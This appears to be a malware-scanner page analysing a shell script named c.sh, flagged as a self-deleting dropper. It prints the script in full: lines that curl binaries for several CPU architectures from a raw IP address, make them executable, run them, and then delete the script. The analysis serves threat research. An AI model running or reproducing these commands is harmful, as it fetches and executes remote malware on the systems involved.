Hostile 100% Download

c.sh

Dropper downloads and executes raw IP binaries

Raw IP bulk self-deleting dropperRaw IP curl bulk download chmod execute
SHA-2562dad21e7be37b5d820f5298f0d602f745444ee8d5eda64357ac90782de2c04ae
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO₂(C₅Er)H₄(Cm₈F₂Os₂Po)

Evidence

curl downloads HTTP URL lines 1–9
1curl http://176.65.139.135/arm --output arm; chmod 777 arm; ./arm x86_32;
2curl http://176.65.139.135/arm5 --output arm5; chmod 777 arm5; ./arm5 x86_32;
3curl http://176.65.139.135/arm6 --output arm6; chmod 777 arm6; ./arm6 x86_32;
4curl http://176.65.139.135/arm7 --output arm7; chmod 777 arm7; ./arm7 x86_32;
5curl http://176.65.139.135/mips --output mips; chmod 777 mips; ./mips x86_32;
6curl http://176.65.139.135/mpsl --output mpsl; chmod 777 mpsl; ./mpsl x86_32;
7curl http://176.65.139.135/x86_64 --output x86_64; chmod 777 x86_64; ./x86_64 x86_32;
8
9rm $0

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.